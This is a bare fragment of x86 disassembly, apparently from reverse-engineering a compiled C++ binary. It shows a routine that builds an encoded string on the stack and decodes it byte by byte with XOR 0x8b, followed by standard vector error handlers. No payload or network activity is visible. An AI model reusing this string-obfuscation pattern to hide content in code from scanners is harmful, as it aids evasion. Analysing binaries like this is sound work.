mov dword [ebp - 0x478], 0x46554449
mov dword [ebp - 0x474], 0x49496a48
mov dword [ebp - 0x470], 0x79465150
mov dword [ebp - 0x46c], 0x396b534c
mov dword [ebp - 0x468], 0x4d387a46
mov dword [ebp - 0x464], 0x7445444e
mov dword [ebp - 0x460], 0x6978684c
mov dword [ebp - 0x45c], 0x4141514b
mov word [ebp - 0x458], 0x4941
mov byte [ebp - 0x456], 0x51
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x724]
push eax
call fcn.0047fb90
add esp, 0x10
mov edi, dword [eax]
mov eax, dword [eax + 4]
sub eax, edi
je 0x4cce96
sub esp, 0xc
lea eax, [ebp - 0x455]
mov ecx, esp
push dword [ebp - 0x64c]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x51c]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x6e4]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4ccea0
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x674], eax
xor esi, esi
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x674], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ccd90
sub ecx, edx
je 0x4ccde3
jmp 0x4ccda0
mov al, byte [esi + edi]
lea ecx, [ebp - 0x674]
xor al, 0x8b
mov byte [ebp - 0x259], al
lea eax, [ebp - 0x259]
push eax
call fcn.0046daf0
mov ecx, edi
inc esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ccdc3
sub ecx, edx
cmp esi, ecx
jb 0x4ccda0
mov eax, dword [ebp - 0x674]
test eax, eax
je 0x4ccde3
push eax
call fcn.0053c1e0
add esp, 4
mov eax, dword [ebp - 0x6e4]
test eax, eax
je 0x4cce14
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x6e0], 0
mov dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x724]
test eax, eax
je 0x4cce27
push eax
call fcn.0053c1e0
add esp, 4
lea ecx, [ebp + 0xc]
call fcn.004b5a50
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0053d3a0
mov esp, ebp
pop ebp
ret 0x28
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.vector_T__too_long
call fcn.0053aed8
mov ecx, eax
call fcn.0046b830
mov ecx, eax
call fcn.0046b820
push 0x80004005
call fcn.00468960
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
push str.invalid_vector_T__subscript
call fcn.0053af06
int3